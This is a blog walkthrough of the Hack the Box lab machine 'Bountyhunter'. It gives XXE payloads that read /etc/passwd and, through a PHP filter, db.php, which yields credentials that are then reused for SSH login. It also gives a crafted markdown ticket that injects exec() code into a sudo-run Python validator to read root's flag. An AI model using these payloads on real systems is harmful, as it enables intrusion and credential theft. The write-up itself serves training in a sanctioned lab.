Hack the Box - Bountyhunter

hack the box Nov 20, 2021

Welcome! Today we are going to be doing the Hack the Box machine - Bountyhunter. This is listed as an easy Linux machine. Let's see what's in store!

As always, we start with a full nmap scan. Here are the resutlts:

Nmap scan report for
Host is up (0.049s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are only two ports open. Let's see what's being hosted on port 80. When we land on the page, we see a standard landing page. Digging around, we find a log_submit.php page. When we fill out the data required, we get the following response.

Since this entry point will be a web entry point. We'll do everything going forward inside Burpsuite. We check the request and we see that it's coming accross as base64 encoded XML data.

Before we dig much futher into the web requests, we're going to start some basic enumeration and see what we can find. We know there is a endpoint called tracker_diRbPr00f314.php, this would lead us to believe we won't be able to enumerate it.

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x .php,.old,.bak -t 60 -b 403,404

This runs but doesn't find much of anything, shocker. Now, back to the original request. We know that XXE is a common attack vector, it's possible it's our foothold here.

The above is a malformed base64 encoding. The %3D is URL encoding for =. Thus our full data set would be:


Giving us the following data being sent:

Now we need to craft a PoC. You can read more on XXE here. We'll use the basic example they had listed for our PoC. Here is our payload:

<?xml  version="1.0" encoding="ISO-8859-1"?>
	  <!DOCTYPE foo [ 
        <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

Once we have our payload created, we need to convert it to base64. Then we need to convert that base64 to URL encoding, since it will have some + signs in it. Overall our request looks like this:

POST /tracker_diRbPr00f314.php HTTP/1.1
Content-Length: 305
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


You can see we are only trying to view the /etc/passwd file as our PoC. We put it into Burp and see what we get.

It works! Perfect! Now we need to leverage this to obtain a foothold. Based on the above data, we know the user we are after - development. After attempting to read id_rsa and db.php files with the traditional method of file:///, we need to leverage something different. We need to use a php filter to obtain access to the files we want.


This will be the payload portion of our XXE. Here's our new XXE payload.

<?xml  version="1.0" encoding="ISO-8859-1"?>
	  <!DOCTYPE foo [ 
              <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> 

After we convert this to base64 and URL encode it, we get a valid response:

A base64 encoded string. When we decode it, we get the following:

A set of credentials! Finally! Now, we see a testuser account but I'm willing to bet, that these credentials will also work for the user development as well. Let's try to leverage them to SSH.

Sure enough, they do!

We are able to log in and get the user.txt flag! Once we're in, we check sudo -l to see if there are any easy hints for priv esc.

Sure enough, we have access to ticketValidator.py. When we view the file, we see that there are some basic requirements to the file we want to read.

  • It must be a .md file
  • It must start with # Skytrain Inc
  • The second line must start with ## Ticket to
  • The third line must be __Ticket Code __
  • The fourth line can be the code we want to execute. It has to start with **.
  • The code checks for % 7 == 4. That number is 102 or 4.
  • Then it will split the file along a + then run the code AFTER that split.

So we'll create a file called rootme.md and add our first three lines.

# Skytrain Inc
## Ticket to rootsville
__Ticket Code:__

Now we can give it our malicious code. We can drop right to a root shell via python. Remember, we still need to use the exec() function in order to get execution.

Here's our final code:

# Skytrain Inc
## Ticket to rootsville
__Ticket Code:__
**102+6969 and exec("import os;os.system('cat /root/root.txt')")

Then we run our script.

sudo python3.8 /opt/skytrain_inc/ticketValidator.py

There we have it, the root.txt flag!


Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.